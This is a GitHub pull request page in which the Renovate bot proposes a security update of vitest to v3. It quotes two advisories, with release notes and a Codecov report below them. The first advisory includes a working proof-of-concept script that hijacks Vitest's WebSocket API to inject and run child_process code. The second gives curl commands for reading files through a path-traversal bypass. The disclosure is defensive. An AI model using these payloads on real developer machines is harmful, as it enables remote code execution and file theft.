Skip to content

Update dependency vitest to v3 [SECURITY] - #55

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

Update dependency vitest to v3 [SECURITY]#55
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 6, 2025

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) ^1.2.2^3.0.0 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

  • explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
  • running the Vitest UI or Browser Mode on Windows
Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC
  1. Run Vitest UI
  2. Get the API token by curl http://localhost:51204/__vitest__/
  3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN" (TOKEN is the API token)
  4. curl shows the content of secret.txt that is outside the project directory
Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v3.2.6

Compare Source

v3.2.5

Compare Source

v3.2.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.3

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.2

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.2.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.2.0

Compare Source

   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v3.1.4

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.3

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.2

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v3.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v3.1.0

Compare Source

🚀 Features
🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v3.0.9

Compare Source

   🐞 Bug Fixes

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@codecov

codecov Bot commented Feb 6, 2025

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 47.16%. Comparing base (04b07c8) to head (78ecc97).
⚠️ Report is 2 commits behind head on main.

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #55   +/-   ##
=======================================
  Coverage   47.16%   47.16%           
=======================================
  Files          71       71           
  Lines        1798     1798           
  Branches       48       48           
=======================================
  Hits          848      848           
  Misses        948      948           
  Partials        2        2           

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 585e36c to 8b86302 Compare February 9, 2025 16:10
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 566183c to 962b7dc Compare March 11, 2025 23:50
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from cda1bcf to 1a2858f Compare March 19, 2025 23:58
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 840e86a to 995f243 Compare April 10, 2025 00:09
@renovate renovate Bot changed the title Update dependency vitest to v1.6.1 [SECURITY] fix(deps): update dependency vitest to v1.6.1 [security] Apr 25, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 995f243 to ec826f6 Compare April 25, 2025 13:44
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ec826f6 to 32e4f2b Compare May 24, 2025 12:06
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from afc09fe to 18f8c1b Compare June 6, 2025 17:46
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 18f8c1b to 7d95dff Compare July 5, 2025 08:07
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from a5e4a1a to e4410bd Compare August 15, 2025 00:13
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from e4410bd to c3c15b0 Compare August 23, 2025 08:04
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c3c15b0 to ea3267b Compare September 1, 2025 05:18
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ea3267b to ed757b6 Compare September 26, 2025 20:00
@renovate renovate Bot changed the title fix(deps): update dependency vitest to v1.6.1 [security] chore(deps): update dependency vitest to v1.6.1 [security] Sep 26, 2025
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from ed757b6 to b25cd67 Compare October 25, 2025 12:10
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 3b80f81 to b481220 Compare November 19, 2025 22:51
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b481220 to 53de5e8 Compare December 4, 2025 23:45
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 53de5e8 to 759f7db Compare January 1, 2026 00:02
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 759f7db to c0f97e0 Compare January 9, 2026 07:41
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from f9cf3ed to 0d0dac2 Compare January 24, 2026 04:07
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 0d0dac2 to afe838b Compare February 3, 2026 12:04
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from afe838b to b5dfe55 Compare February 13, 2026 11:48
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b5dfe55 to 8c443cc Compare February 19, 2026 08:12
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 1a90ad0 to 2e38edf Compare March 14, 2026 09:59
@renovate renovate Bot changed the title chore(deps): update dependency vitest to v1.6.1 [security] Update dependency vitest to v1.6.1 [SECURITY] Apr 15, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2e38edf to c8aa1da Compare April 15, 2026 15:05
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c8aa1da to 433cee0 Compare April 30, 2026 03:08
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 433cee0 to 05c332e Compare May 13, 2026 07:04
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 05c332e to fec9fa2 Compare May 23, 2026 03:30
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 386f35c to 78ecc97 Compare June 4, 2026 08:11
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 78ecc97 to b87212b Compare June 13, 2026 03:46
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b87212b to ffb47e4 Compare July 17, 2026 23:17
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from 162305d to c9276a3 Compare July 27, 2026 22:37
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from c9276a3 to 11ef44a Compare August 1, 2026 04:13
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 11ef44a to 92e288c Compare August 15, 2026 04:03
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 92e288c to b529716 Compare August 29, 2026 12:02
@renovate renovate Bot changed the title Update dependency vitest to v1.6.1 [SECURITY] Update dependency vitest to v3 [SECURITY] Aug 29, 2026
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b529716 to c261e74 Compare September 5, 2026 00:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants